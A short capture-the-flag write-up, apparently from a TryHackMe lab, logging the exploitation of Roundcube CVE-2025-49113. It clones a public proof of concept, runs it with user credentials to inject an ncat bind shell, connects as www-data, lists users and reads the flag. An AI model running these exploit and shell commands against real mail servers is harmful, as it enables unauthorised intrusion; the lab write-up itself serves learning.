

## RoundCube CVE-2025-49113 ScreenShots

-Cloning the PoC from Github and launching the RCE using the exploit:

```
root@ip-10-10-144-245:~# git clone https://github.com/fearsoff-org/CVE-2025-49113
Cloning into 'CVE-2025-49113'...
remote: Enumerating objects: 8, done.
remote: Counting objects: 100% (8/8), done.
remote: Compressing objects: 100% (7/7), done.
remote: Total 8 (delta 1), reused 8 (delta 1), pack-reused 0 (from 0)
Unpacking objects: 100% (8/8), 7.31 KiB | 1.83 MiB/s, done.
root@ip-10-10-144-245:~# cd CVE-2025-49113/
root@ip-10-10-144-245:~/CVE-2025-49113# php CVE-2025-49113.php http://10.10.82.9/roundcube ellipseptic ChangeMe123 "ncat -lvnp 4444 -e /bin/bash"
### Roundcube < 1.6.10 Post-Auth RCE via PHP Object Deserialization [CVE-2025-49113]
.
## Retrieving CSRF token and session cookie...
### Authenticating user: ellipseptic
### Authentication successful
### Command to be executed:
ncat -lvnp 4444 -e /bin/bash
```

-Reverse shell success and identified the user TryHackMe asks about, Maggie Byte:

```
root@ip-10-10-70-139:~/CVE-2025-49113# nc 10.10.131.220 4444
_
wd
/var/www/html/roundcube
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
cd /home
ls
algorithm
ellipseptic
maggiebyte
terrybyte
testuser
ubuntu
```

- Located Flag in /etc:

```
cat flag.txt

THM{ICE_CUBE_DESERIALISATION}

"After three rounds of coffee, I deserialised the object."
```